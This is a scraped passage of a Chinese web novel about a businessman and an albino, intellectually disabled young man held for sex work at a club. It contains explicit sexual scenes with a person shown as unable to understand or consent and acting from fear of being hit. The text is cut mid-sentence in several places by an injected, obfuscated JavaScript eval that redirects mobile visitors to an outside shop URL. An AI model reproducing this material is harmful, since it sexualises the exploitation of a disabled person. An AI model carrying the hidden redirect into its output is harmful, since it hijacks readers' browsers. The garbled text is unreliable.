《可怜的傻子受》 1. 第 1 章 轰——! 引擎的轰鸣声还在空气里余震未消,带刺的豪车一个利落摆尾,稳稳地钉在霓虹灯下。 侍者上前迎接。 车上的贵客没下车,把车窗往下打了三分之二,冲侍者使唤道: “叫张嗯嗯出来挨.操。” 侍者抬手看了一眼腕表,很快就回话道:“少爷,张嗯嗯这会在吃饭,我去为您通知,请您稍等片刻。” “叫他别吃那破饭了,我这有更好吃的。” 车上不止一个人,闹出了三个人哄笑的动静,眼见着侍者转身去找人了,后座上的年轻男人先一步发出笑问:“傻子你也曰?” 另一个人把话驳回去,点着烟的手探出车窗去抖掉烟灰,哼着烟气点评道: “他啊,天生的情趣娃娃,今晚上分你弄一次,你就知道滋味了。” 刻有【铂金华庭】四个字的鎏金招牌向外发散着诱人的光彩,巨型灯牌撕裂城市的黑色天空。 停在门口的豪车常见的如同自行车,一辆紧挨着一辆,空气里是高级香水的甜腻。 风吹过,能听见铂金华庭里面发出来的阵阵娇笑。 少爷的豪车嚣张停在铂金华庭正门前,过往车辆必得绕着他们走,拉下车窗欲骂上两句,但看了眼车牌后,又立刻发觉招惹不起,悻悻让道。 张嗯嗯是抢手货,只有最有权势的人才能在竞争里把他带走。 叩叩! ——是敲窗户的声音。 少爷冲车窗外瞥了一眼。 一个四十岁上下的男人,西装革履深蓝领带,一眼能看出是某家公司高官的。 “什么事?”少爷不耐烦的问。 西装男人的声音就跟烟囱里的气一样,突地喷出来,命令道:“把车开出去,别挡在这里。” 黄少爷眉头一挑:“你怎么跟我说话的?!” 西装男人看车上三个少爷仍然吊儿郎当的模样,指着路口的方向,丝毫不给面子的厉声呵斥: “真不懂事!沈家大少爷马上就要到了,赶紧把车开走!” 这几位少爷在听到那个名字的瞬间,气焰陡然泯灭,骂人的话卡在喉咙里。 开车的年轻人恶狠狠啧了一声,转着方向盘,带着窝囊气,闷闷地停到几百米后的暗地里。 没过两分钟,一辆低调的深黑宾利刹在铂金华庭的正门前,引擎的低吼声像一头被驯服的野兽,骤然收声。 车身被头顶的金色霓虹灯切割,流光在漆面上流淌闪烁,未完全散尽的引擎尾音还在空气里漂浮。 西装男人等候多时,上前拉开,陪上笑脸。 车上男人先踏出一只锃亮的皮鞋,鞋跟落地的瞬间,气场先于身形灌出去。 西装男人唤道:“沈先生,恭候多时。” 沈主镰的眼神斜过去,又懒懒回正。 沈主镰的手搭在西服最下方的纽扣上,把久坐沾上的褶皱扯平,同时眼神懒散的扫过四周。 铂金华庭的霓虹灯掠过他轮廓分明的侧脸,明暗在他脸上五官折叠成交错几何,看不清表情,而他也没有多余的动作,只漠然、平静的俯瞰着。 这种局沈主镰是不大喜欢的,俗且无聊,还不如在家里多睡两个小时来得实在。 可W市毕竟不是他自家地盘,面前这些W市的地头蛇们,对于一个初来乍到的年轻企业家而言,他多少是要给些面子的。 在簇拥里,沈主镰同这群西装革履的男人走进铂金华庭。 人影交错,形形色色的木质香水混着酒精、香烟以及雪茄的味道,复杂的蒸腾在空气里,连风都吹不散,仿佛这些气味也被他们之间的利益捆绑给锁在一起。 喧嚣、笑语、扭动的人影。 讨好、迎合、流转的媚眼。 声色犬马,纸醉金迷。 “小表子!亏我找你半天,结果你躲在这里不出声!” 突兀的脏骂打破沈主镰耳边听腻的客套话,凑热闹的心思指引他看过去。 人群里,他第一眼就注意到了那个被推拉的特殊男生,或者说谁都能第一眼注意到。 因为男生是白化病患者。 看上去十八九岁,很是稚嫩年轻,又顶着圆滚滚的妹妹头,全白的发丝微微发抖,特殊的纯白色睫毛轻盈地垂下,把涣散的红色眼瞳半遮住,眉头跟着眼睫毛一起朝下笨拙的抬不起来,一副不清楚发生了什么事的茫然。 沈主镰知道白化病患者的眼睛瞳孔会因为这个病出现不同的颜色,可这是他第一次看见红色的眼睛,于是盯着看了好一会。 心道——像兔子成精。 沈主镰看得太用力,以至于脏骂的侍者很快就注意到“沈少爷”的兴致,立即停下粗鲁的动作。 张嗯嗯的手里还拿着一个碗,他见侍者没动作了,于是用双手捧起饭碗,轻轻的用碗沿碰碰侍者的手臂,张开嘴唇呼出一个无声的“啊……” 侍者没有理解张嗯嗯的意思,也没再搭理张嗯嗯,一门心思紧张于自己骂脏话惹到客人不悦的事上。 张嗯嗯捧着碗,迷茫的转着他那两个红通通的眼睛,眼神飘忽的东看一下,西看一下。 忽然一下,张嗯嗯和一个高大的男人对上了视线,在发现自己被看见了后,张嗯嗯又开始用双手捧起碗,把他那不值钱的不锈钢饭碗,当成献宝似的往男人方向举高,把淡粉的嘴唇撑开、撑圆了—— 沈主镰虽然听不见声音,但耳廓却被热热的、轻轻的“啊”一口气擦过。 沈主镰的注意力彻底盯在张嗯嗯身上。 “沈先生,我来晚了,哈哈!” 自来熟的笑声飞过来,说话的男人走得也飞快,他眼睛看得很高、很远,压根没把面前矮小瘦弱的张嗯嗯放在眼里,把张嗯嗯当一条挡路的狗,一脚蹬过去,粗鲁的扫到一边去。 人群冲那男人发出了调侃:“孙总助最近在哪里发财呢?” “哎呀!我光顾着在里面安排坐席了,一时疏忽忘了来接应沈先生,我的我的,待会我自罚三杯。”中年男人自来熟的搭讪,脸上堆着好友般自然的笑容,擅自向沈主镰递出友好的握手。 这位孙姓男人是沈家在W市业务里的其中一个负责人,这才让他有底气摆出一副和沈主镰是老友的派头,其实根本不认识。 沈主镰没给面子,让递来的握手礼空置着。 他还是对地上那只白色兔子更感兴趣。 张嗯嗯摔在地上,从嗓子里咳出两个含糊的“嗯嗯”。 手里捧着的不锈钢饭碗跟狗碗似的,一并打翻在地,敲出了几声不合时宜的廉价当啷声。 碗里的蒸蛋拌饭全摔了出来,摔成一滩乱糟糟的浆糊。 张嗯嗯双手撑在地上,肩膀和脊梁骨跟着眉眼一并垂下,变成垂耳兔。 奇怪的是张嗯嗯表现出异常的安静。 他沉默着,没有害怕,没有伤心,以一种旁人无法理解的平静。 只是静坐。 再细看,才会发现这是吓着了,吓坏了。 沈主镰看到这里,也该明白他所注视的这个男孩不仅是白化病那么简单,心智有问题,是个不正常的孩子。 “脏死了!”拉扯张嗯嗯的侍者直接跳开来,生怕碗里的汤汤水水溅到自己鞋上,他的手指绕着张嗯嗯转了个圈,点在张嗯嗯身上,小声咒骂:“看你把这地方弄的,回头你就等着经理打死你吧。” 张嗯嗯显得更沉默了。 沈主镰看着地上无助的男生,冲侍者递出代表安静的手势,向着张嗯嗯的方向走过去。 张嗯嗯注意到了沈主镰的靠近,他保持住温顺的姿态,双手撑地,单薄的身体尽可能的瑟缩成一团,咬着没血色的唇,忍下瑟瑟发抖的惧意,装作自己是个空心玩偶,甚至开始在鼻子里哼出不成调的叫.床声。 几句浅浅的、低低的“嗯嗯”叫.床声,从老鼠崽大小的胆子里怯懦流出。 张嗯嗯的一切都在恳求尊贵的客人——我叫.床给您听,就不要再伤害我了。 张嗯嗯的忍让换来对方得寸进尺的靠近。 那个对于张嗯嗯而言过分高大的男人已经站在他面前,弯腰捡起打翻在地的不锈钢碗,同时另一只手变成摊开朝上的手掌送到他面前来。 男人说话了,男人说了很简短的一句话:“我……。” 张嗯嗯听不懂,只知道打人的巴掌离自己好近好近。 “笨死了,挡着沈先生的路了,怎么不懂让开呢?” “真是浪费这么好看的一张脸,扒了皮做个人偶说不定是条出路。” 气氛对于张嗯嗯而言实在算不上友善,幸运的是他压根就听不懂别人骂他的话。 张嗯嗯是傻子,是笨蛋。 他并不明白发生了什么,他只是在等一个人来喂他吃饭,碗里的蒸蛋拌饭他还一口没吃呢。 但不管怎么样,张嗯嗯意识到自己肯定做错了事情,也许是他没有好好吃饭,又或者是他没有好好工作,没有好好伺候客人。 总之,张嗯嗯知道自己要挨打了。 这件事他是从沈主镰递上来的手掌知道的,不然这巴掌怎么会凭空出现在他面前?还要抢走他的饭碗。 沈主镰左手递到张嗯嗯面前想扶他起来,右手帮张嗯嗯捡起碗,保持着弯腰的姿势,低头好奇地打量着地上的男孩。 张嗯嗯缓缓地低下头,彻底扭掉了和沈主镰之间那点微弱的对视,他细长的两根竹竿似的手臂还撑在地上,摇摇欲坠。 模样虽然狼狈,但张嗯嗯穿得很漂亮,是被人细心打扮过,脸上还有化妆品的痕迹,嘴唇擦着亮晶晶的油润唇膏,身上散出淡淡的香味。 “沈先生赏你的好意不会接着?这傻子……傻得可怜!”聒噪的声音喊出来,催促道。 就在这时,放在张嗯嗯面前的巴掌又往前近了一些。 张嗯嗯浑身抖了一下,但还是保持着那副任人宰割的模样。 他不着痕迹的垂眸,细细地观察着这个手掌。 客人的手大大的,大的可以把自己的脸都蒙住。 于是,张嗯嗯把自己的脸贴了上去。 张嗯嗯的想法很简单,既然巴掌打在脸上算打一下,那他主动把脸蛋放在手上贴着,也算打一下。 都是手掌心和脸贴贴,是一样的。 “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈主镰起了反应,喊住他:“孙总助,有件事情我想请教一下。” “您问。” 沈主镰问:“你是太监吗?” “啊?我是太监?”孙总助下意识接话,但脸上已露出窘色。 “不然为什么我说一句,你就接一句,我不说了你还要捏着嗓子猜我想说什么。” 沈主镰悠悠地说着,冷了整晚的脸色忽然露了笑:“我还以为中国最后一个太监是孙耀庭,没想到是孙总助。” 周围人哄堂大笑,孙总助脸上的窘色彻底的青掉了,却还要硬着头皮,继续他的阿谀奉承:“您说是,那我就是。” 欢迎宴正式开始以后,沈主镰又恢复了那个反应不大,兴致平平的模样。 说实话,沈主镰还在想那傻子的事情,也不知道他这会有没有吃上蒸蛋拌饭。 沈主镰在席上坐了一会,他见酒过三巡招待的差不多时,便果断起身离席。 由于时间太晚,加上喝了酒的缘故,索性就在铂金华庭楼上开了一间客房。 沈主镰出了电梯,他左手捏着房卡,在指尖随意的摆弄了两下,右手握着电话,跟电话那边迅速交代工作上的准备事项。 “近期市场流动性收紧,我挑了几个目标已经发到你们邮箱,尽快尽调,估值压到合理区间,不做溢价接盘,目前重点盯紧硬科技和新能源项目。资金我来兜底,你们只管把项目打穿,一周后我要看到清晰的推进表,谁掉链子我会直接问责,没有二次机会。” 沈主镰的语速飞快但词句清晰,他的步调始终沉稳,无声的踩在软面地毯上。 他停下,转身顿在客房门前。 “滴”声刷卡,推门而入。 电话那头的男人在同一时间回话:“收到,一周内项目清单、推进节点、责任到人……” 咔哒。 房门关上,插上房卡的一瞬间,房间以缓进的速度逐渐亮起,房间里的一切就像床上那赤裸裸的男孩一样,一览无余的暴露在沈主镰面前。 沈主镰的动作按下暂停键。 电话里还在说话:“沈总,综上所述我会全部整理到位,数据、进度、结果也会同步给你。” 沈主镰打断对方的声音,着急抛下一句:“现在有事。”便匆匆挂断。 床上的男孩于沈主镰而言并不陌生。 张嗯嗯赤条条跪坐在床上。 沈主镰能很清楚看见他的身体白成冷色调,白化病的症状无比清晰,那不是擦粉能擦出来的肤色,是病态的白,身上连汗毛都是毛茸茸的淡淡粉白色。 张嗯嗯的身上什么都没有,只双腿并拢坐好,双手搭在大腿上,手掌平放,细长的脖颈艰难撑起放空的面容,他的目光还是那样的茫然,并不清楚自己在做什么,像个被挖空的雪娃娃,在开灯的一瞬间脆弱的要被融化掉。 虽然脆弱,却不痛苦,只是安静的存在。 他就和房间里一客一用的物件一样,随时等待客人上前使用。 2. 第 2 章 沈主镰警惕地看着那只兔子,他没敢轻举妄动,冷着脸从刻薄的嘴唇里抿出一句:“谁派你来的?” 张嗯嗯循着声音看过去,纤细的脖子失去平衡,脑袋歪掉,枕在自己的肩膀上,他只敢用余光去扫客人的反应。 沈主镰又问:“你是自愿的吗?” 他的视线礼貌的绕着张嗯嗯转了一个圈,把房间迅速的扫了一遍,却怎么也没找到脱掉的衣服。 “你的衣服呢?” 张嗯嗯对于这些问题,他没有半点反应,跟个摆件似的呆坐。 “你听得到我说话吗?”沈主镰向着张嗯嗯的方向走近了几步。 张嗯嗯见客人来了,连忙自己把自己歪掉的脑袋扶正,他的身体直白讨好,可他红通通的眼球却不敢直视客人,装在圆钝的眼眶里不受控制的震颤。这是白化症患者的通病,情绪不稳就会眼球震颤。 沈主镰停在床边,他着手解开自己的西装外套扣子,在衣服布料擦出的簌簌声里,他问出了他最想知道的事情: “你吃饭了吗?” 张嗯嗯的眼球像失控的弹珠,胡乱的抖,把他的身体都带得战栗起来。 尽管如此,张嗯嗯的动作一点没变,他依然温顺地跪坐,等待客人上前。 沈主镰拿他没办法,因为张嗯嗯既听不懂别人说得话,也不会说话,是个无法沟通的存在。 在张嗯嗯的余光里,看见一只手的靠近,对于张嗯嗯而言,这是一耳光,是对他不回话的惩罚。 “嗯嗯……” 张嗯嗯的眼睛躲了,身体却笨拙的一动不动,光从鼻子里哼出浅浅一声呻.吟,就是他全部的反抗手段。 沈主镰说:“你不用怕。” 张嗯嗯如果胆子再大一点,他会看清那巴掌并不是来打他的,手掌里托着一件西装外套,是递给他的善意。 沈主镰说得干脆了当:“把衣服穿上,我对你没兴趣,更不会碰你。” 沈主镰站在床边,耐心的等着张嗯嗯有反应。 沈主镰和张嗯嗯之间始终隔着一段不小的距离。 张嗯嗯的反应出人意料的大。 他没有认出对方的善意,反倒先认出了这个巴掌,这是那个很大很大,大的能蒙住他脸的巴掌。 在张嗯嗯的世界里,这只手已经打过他的脸了!而这个客人是一个非常刻薄、非常凶残的坏人! 在一瞬间,张嗯嗯的脸色煞白,他已经很白了,却还能更白,白得发紫发青,震颤的眼球把眼泪挤了出来,张嗯嗯却不敢哭,可他无法阻止眼泪落下。 崩溃的情绪就像多米诺骨牌,被推倒后起了连锁反应,越来越轰轰烈烈。 虽然沈主镰还没把他推倒,可张嗯嗯觉得是迟早的事情,他不多的胆子已经被推倒了,马上就轮到他这个人了。 沈主镰被突如其来的眼泪砸得手足无措。 还不等沈主镰想好怎么去替张嗯嗯抹眼泪,久久没有反应的张嗯嗯突然有了动作,依然是跪坐着的,上半身却毫无征兆的向沈主镰的方向塌下去,腰也塌了。 张嗯嗯举起双手,用捧碗的动作,轻轻捧起沈主镰递上来的手,他对着沈主镰,张开没血色的嘴唇,撑得圆圆的。 沈主镰听见了从张嗯嗯嘴里呼出来的那口圆滚的气:“啊……” 这次不是单纯的讨食,在沈主镰的注视下,张嗯嗯直接含住沈主镰的两根手指,等沈主镰看清是在做什么的时候,他的手指已经全湿。 张嗯嗯正无师自通的做着下流行径,吻着吮着舔着沈主镰的手指,熟练的打着圈、绕着弯的讨好。口腔不光有口水,还有眼泪,滚烫且湿润。 张嗯嗯又傻傻的只管卖力,恨不得咬进喉管里,把自己折腾的喉管痉挛,口腔内的脸颊肉一阵阵的嘬紧指节。 沈主镰听见了从张嗯嗯鼻子里嗡出来的无比清晰的娇声,那声音像是吃了糖以后含着一嘴黏甜的口水往他耳朵里舔似的,哼哼唧唧又嗯嗯的直嘟囔。 沈主镰的呼吸不免染上这份浓稠的黏腻,他赶在事态变得更遭之前,一把将张嗯嗯的肩膀捏住,然后提起,紧接着推开。 两个人之间的距离强行拉出一人宽的间隔,把他们的关系撇得干干净净。 “别这样。” 沈主镰呼吸短促,喉结难耐的向下坠了几次,才堪堪攀回高处。 什么都听不懂的张嗯嗯,偏偏把这语气不好的拒绝听懂了。 话音刚落的瞬间,张嗯嗯的眼球再一次陷入了无序的惊颤,他的眼球停不下来的乱转,整个人像个无头苍蝇一样,在沈主镰的手上嗡出浅浅密密的急促呼吸。 张嗯嗯就像一台被设定好程序的电脑,在这突然一下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈主镰最后一次帮张嗯嗯整理领口,捏着两边领子往中间重重的一拢,半点春光都跑不出来,裹的严严实实。 沈主镰认真地去同张嗯嗯说,去警告,语气像打字机古板顿挫: “我不会留下你,我也没有义务对你负责。” 3. 第 3 章 养宠物都要深思熟虑做决定,更何况这是个活生生的人,谁都没可能保证负责一辈子。 一辈子,好麻烦。 沈主镰把门打开,把张嗯嗯送了出去,他转个身关上门,干脆利落的回到房间里。 可他停在门边,脚上跟生了刺似的走不动路。 门外没有任何动静,没有敲门,没有挠门,更没有眼泪和哭声顺着门缝流进来。 任他如何去听,没有就是没有。 沈主镰从门边走开,走到床边把张嗯嗯坐出来的凹痕拍平,自己贴着床边坐下。 他尝试闭上眼睛酝酿些醉意和困意出来,可刚闭上眼睛,满脑子都是一粒粒黄豆大小的眼泪,不安的模样不断在沈主镰的脑海重演,泪痕,伤痕,还有脚上冻出来的红痕。 沈主镰这才迟钝的意识到,从头到尾张嗯嗯都没有给自己擦过眼泪,任由泪珠把自己脸蛋浸出一块块伤痕累累的泪疤。 恐怕……他连眼泪都不会自己擦。 沈主镰呛出一口气,目光下意识聚焦在客房门前,又看了眼腕表,时间不早了。 大晚上的,一个傻子能去哪里?又能去做什么? 至于自己,为什么非要挑现在去为难一个傻子呢? 嘎吱—— 客房的门再一次打开。 张嗯嗯就在门外站着,和被赶出去时的姿势一模一样,冲着客房门乖乖站得笔直,两只手攥在身前,一个劲的掉眼泪。只不过没人替张嗯嗯拢衣领,领口挂在肩膀上要掉不掉,胸口大片大片的粉白慷慨的暴露出来。 张嗯嗯在看见沈主镰的瞬间,飞快的吸了一口气,咬着嘴巴忍住掉眼泪的冲动,笨拙的还以为是因为眼泪才会被客人讨厌。 见沈主镰没有动作,张嗯嗯擅自向前,像一只小蜗牛,磨蹭着两只白净的脚丫往前挪,小心翼翼地把自己的脸颊依赖的放进沈主镰的胸口,又开始从鼻子里嗡出讨好的喘.息声。 他特殊的红色眼睛里带着强烈的不安,不安的颤抖隔着薄薄的衣服布料,同样强烈的穿进沈主镰的皮肤里。 张嗯嗯害怕的很明显,害怕沈主镰,害怕即将发生在床上的事情,但一定是更害怕现在就被赶走。 “你没完成任务回去是不是会有惩罚?是不是会用这个打你?” 沈主镰放轻了声音询问,又担心张嗯嗯不懂他的意思,于是手掌送上去,送到张嗯嗯的脸颊边。 这个问题的答案,随着张嗯嗯绝望的融化在沈主镰的胸口,变得显而易见。 张嗯嗯只觉得恐怖。 明知道他听不懂,却又一直要和他说话,回答不出来就要打他。 好可怕! 沈主镰把怀里的张嗯嗯提溜起来,强行保持一段清白的距离,但同时侧身让开一条通往客房内的路。 沈主镰问:“进来吗?” 张嗯嗯听懂了“进来”两个字,但他不确定“吗?”是什么意思。 进来就进来,别进来就别进来,“进来吗”是什么意思?? “进来。” 沈主镰改了口,语气和他拒绝张嗯嗯时一样干脆。他无师自通了和张嗯嗯沟通的方式。 张嗯嗯点点头。这下确定是命令,他最会听命令了,乖乖走进去,踏过门槛后用余光察言观色。 等到沈主镰进来,背手关门,他还没来及思考怎么安置张嗯嗯,就看见张嗯嗯那白得病态的纤细身体径直往墙上趴倒,腰肢下陷,两只手捏着外套的下摆不知廉耻的往上撩。 等到沈主镰反应过来的时候,他和张嗯嗯之间的姿势就保持一个非常奇怪的地方,他只要把手按在面前的腰上,就可以直接把张嗯嗯当手推车开走。 张嗯嗯见他的客人始终没有反应,扭头朝自己背身看去的同时,他的腰肢也作出下流的缓动。 眼泪一直在张嗯嗯的眼睛里蓄着,他没有一刻是不害怕的,所做的一切也不过是为了少挨一顿打。 张嗯嗯转头的瞬间,迎头撞上了一块遮天蔽日的大浴巾。 他失神的愣住。 沈主镰并没搭理这傻子的种种动作,在开门前就已经从酒店衣柜里找出干净浴巾,现在正好直接把人当粽子裹紧,裹得里头的人僵得笔直,同时捏住张嗯嗯的嘴巴,不允许发出任何上不了台面的声音。 紧接着,沈主镰的双臂就像夹娃娃机的夹子,夹紧了把张嗯嗯扛起来移到床上,按下张嗯嗯躁动的双腿,再多加了一床被子,把人捂得严严实实,边边角角全都塞进身体边缘压好,压妥帖。 “躺好,睡到明天早上你自己走。” 沈主镰的命令念出来,语气生硬。 张嗯嗯听懂了“躺好”,听不懂后面一长串的话,字太多了。 总之张嗯嗯听话的点头,身体安静的陷进床榻,半睁着眼睛用白羽毛似的睫毛轻轻遮住红通通的瞳孔,和瞳孔里忽闪忽闪的泪花。 眼泪无声无息从眼尾滚落,掉进耳朵里,弄得半边脸颊痒痒的,老实躺了一会的张嗯嗯最终没忍住转了转肩膀,歪着脑袋,耸起肩膀,用圆圆又粉粉的肩头不安分的蹭弄耳朵。 沈主镰这才注意到是眼泪在捣乱,他垂下的手捏起又松开,僵硬地把手搭在张嗯嗯的脸边。 眼见着张嗯嗯的脸爆红,眼睛里的惧意疯涨。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486628|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我不打你。”沈主镰说。 他的手小心翼翼的,像一阵风擦过张嗯嗯的眼尾。 在张嗯嗯泪汪汪的注视下,沈主镰意识到自己是对方眼泪决堤的始作俑者,他把整个手掌都贴到张嗯嗯的脸颊上,大拇指揩走对方眼尾的泪珠,望着红眼珠,道上一句: “抱歉,刚才不该凶你,应该考虑到你只是个可怜的傻子。” 张嗯嗯害怕地闭紧眼睛,眼睛周围一圈皮肤都挤得皱巴巴的,鼻子也跟着用力,皱成一团。 直到那个手掌不仅是擦眼泪,还在抚摸他的脸颊时,这才稍稍松了口气。 “不打你。”沈主镰告诉他。 他轻轻的“嗯嗯”了一下。 “真可怜。”沈主镰再说。 他还是:“嗯嗯。”并不懂可怜的含义。 张嗯嗯睡得很快,他不像人,真像个动物,被抚摸没两下,脸蛋上的皱巴巴便全不见了,取而代之是和缓的呼吸,卷起的被褥把他的脸蛋烘得红扑扑的,比眼睛还红,呼呼冒着湿润的热气。 沈主镰坐在床边,再三探头往被子里看,确认这小傻子被自己哄睡着后,攥起的歉意这才稍稍放轻松。 沈主镰不敢有大动作,生恐把人吵醒,即便身上沾着铂金华庭里乱糟糟的气味,他也没想过去开水洗澡,只是端来一把椅子靠在床边,他上半身坐在椅子上,两条腿则憋屈的搭在床边,这就是他今天晚上睡觉的床,而他和张嗯嗯之间起码隔了两米的距离。 闹剧落下帷幕,房间重归平静。 两股呼吸交织在一起,谁也没发觉呼吸频率竟合在同一音频上,节奏一致。 不过,这事才不是因为两个人有缘又有份。 沈主镰是在急促的呼吸里被一阵阵滚烫的悸动震醒的,当他睁开眼看清发生了什么的时候,他的呼吸自然的被骑在他身上的那个傻子带得一起急促起来——他被傻子强了。 “嗯嗯。” “嗯嗯,嗯嗯。” 耳边都是张嗯嗯难耐喘气的声音。 张嗯嗯跨坐着,两条纤细的手臂艰难地撑在沈主镰的腿上,身形已经不受他自己控制的颠簸起伏。 在发觉沈主镰醒了以后,张嗯嗯主动把上半身送进沈主镰的怀抱里,他又一次的张开嘴唇,粘稠的口水在上下嘴唇分开的时候,拉扯出好几条黏糊的银丝挂在嘴里,又统一被张嗯嗯的舌头撩走,咕咚咽下。 张嗯嗯的嘴唇撑得又大又圆,唇瓣上的纹路都要被他奋力撑平了,只看得见光滑的流着津液的粉红小口。 沈主镰的耳边自然的被无声“啊——”的抓了一下。 4. 第 4 章 这会的张嗯嗯印象又回到了沈主镰最初对他的印象——像兔子。 眯着一双红色的眼睛,由着身上的白花花的肉和绒毛,肆意的颠簸浮动。 张嗯嗯的大腿意外的有肉,从沈主镰的视角看过去,倒真像个头小屁股肥的兔子,微张着唇露出两粒规整的兔牙,两边粘着脸颊的头发就是垂下来的兔耳朵,把整张脸捂得更小、更白了。 张嗯嗯红通通的眼睛和沈主镰对上视线,一声再清晰不过的“嗯嗯——”直白下流地塞进沈主镰的耳蜗里。 下一秒,张嗯嗯就更不知羞耻把自己送进沈主镰的胸膛里埋住,眼睫毛半垂,嘴唇微张,一副我随便你怎么办的顺从模样。 “……” 沈主镰闭上眼睛,醉意从抿紧的唇瓣里熨出来,他握拳,难以置信的敲了敲额头正中央。 睁开眼,确认这不是春梦一场,是他实打实的被兔子强了。 张嗯嗯见沈主镰没反抗,又自己捡起主动权,沈主镰还没怎么着他,他就先体力不支,“嗯!”的一声后,如同死了一样,呆滞地倒向一侧。 沈主镰赶紧伸手抱住,重新拢回自己的臂弯里。 沈主镰伸出手替张嗯嗯擦汗。 张嗯嗯见到伸过来的手掌,再一次下意识的害怕,垂下来的两只手纠结的攥在一起。 害怕还没两秒钟,张嗯嗯深吸一口气,强行把虚弱的身体坐直了,再一次的把不久前的动作重复,尽管张嗯嗯早就陷入体力不支的眩晕里。 张嗯嗯从鼻子里哼出些娇娇的声音,用手指尖点在沈主镰的大腿上,暧昧地刮挠又刮挠,惹得腿上痒痒的,催促沈主镰动一动,轮到客人亲自来享用他了。 张嗯嗯在做这种事的时候,脸上的茫然、害怕全然消失,取而代之的是艳俗的谄媚,他脸上五官的幅度,从鼻子里哼出来的呼吸节奏,就仿佛一只艳鬼的爪子,从后面穿过他惨淡的肉与血,恶狠狠直掐他惨白的脊椎骨,把他的一举一动强行操控。 张嗯嗯长得很漂亮,他太白了,白得跟个瓷娃娃一样,身上血管是他即将破裂的证明,偏偏柔软的皮肤和肢体又让他变成了任人摆布的情趣娃娃。 纯情模样与艳俗身形,呆滞眉目和熟稔操.弄,强烈的视觉冲击反复凶猛攻打沈主镰的视网膜。 给以香艳味道,是邪典cult片里才会有的诡异美学。 沈主镰想推开,张嗯嗯求饶的泪水立马灌出来,泪水把瓷娃娃身上的裂纹分割得更加惹人怜惜。 沈主镰不好动作,但归根结底是他不愿意动作,他一边自责自己对傻子的欺辱,一边又无法自拔的享用傻子的谄媚。 无法自拔。 沈主镰沉沦其中。 张嗯嗯的体力实在是少,只有零星一点,很快就眯起眼睛,没劲的朝一侧倒下去,跟晕死似的。 沈主镰眼疾手快的一把将人抱住,两只手刚好就掐在张嗯嗯的腰上。 张嗯嗯缓了一口气,眯起的眼睛微微睁开,他整个人在沈主镰的手掌心里向后倒,他的肩膀已经碰到了被褥,快要沉进被褥里。 张嗯嗯呆呆地从鼻子里吭出疑惑的两个字:“嗯嗯?” 是要换姿势吗? 于是张嗯嗯顺势缓缓躺下,陷进床里,翻了个身。 张嗯嗯的脸埋在被子里,他听着背后窸窸窣窣布料摩擦声,可对方久久没有动作。 他等啊等,尝到了缺氧的滋味,晕晕的眯起眼睛,还以为是自己困了想睡觉,眼睫毛使劲发颤,想睁开眼睛。 背后布料擦动的声音越来越近。 没有让张嗯嗯再多等,那块大大的浴巾再一次从后面抱住了他,准确的说是——沈主镰捏着浴巾的两个角,隔着毛巾把他抱住了。 张嗯嗯的表情更呆了,眼睛睁得大大的,忘了呼吸,把皮肤憋得红成虾子。他的眼睛像打了双闪的车灯,呼哧呼哧的。 这是什么?是客人的喜好吗? 嗯……他喜欢抱我。 张嗯嗯顺从的把自己蜷缩成一小团,而且越缩越小,变成了非常方便抱住的一团毛绒玩具。 沈主镰动作一顿,半秒后才恢复呼吸。 他把毛巾按在张嗯嗯的脑袋上擦来擦去,擦干净的娃娃头一转变成了毛躁的狮子头,在张嗯嗯脑袋上张牙舞爪。 浴巾盖在张嗯嗯肩膀上,张嗯嗯看见自己腾空飞起来,他只能紧张的搂紧身边人的脖子,从鼻子里发出夹嗓子的“嗯嗯”求饶声。 张嗯嗯飞进了浴缸里。 暖洋洋的热水浸到锁骨位置,香喷喷的泡沫环绕身侧。 沈主镰按住张嗯嗯的肩膀,仔细擦拭身体,不忘细心梳好毛躁的头发。 热气蒸得浑身都热乎乎,红扑扑的。 因为擦拭的原因,两个人挨得很近,张嗯嗯不安分的环住沈主镰的肩膀,小鸡啄米的一下下啄着沈主镰的脸颊。 沈主镰没阻止,挪开视线,避免对视,同时绷着脸,认真把张嗯嗯身上擦得干干净净,头发也梳得柔顺。 吹风机吹干张嗯嗯最后一丝头发,沈主镰再次将人抱起,折回床边。 刚要放进被褥里,两个人还是意外对视上了,张嗯嗯那双噙着雾气的,红通通的清水眸正认真凝着男人,身上毛发白得如同沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486629|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了植绒粉的捏捏玩具,软骨头的家伙早就懒懒的融化在热气腾腾的怀抱里。 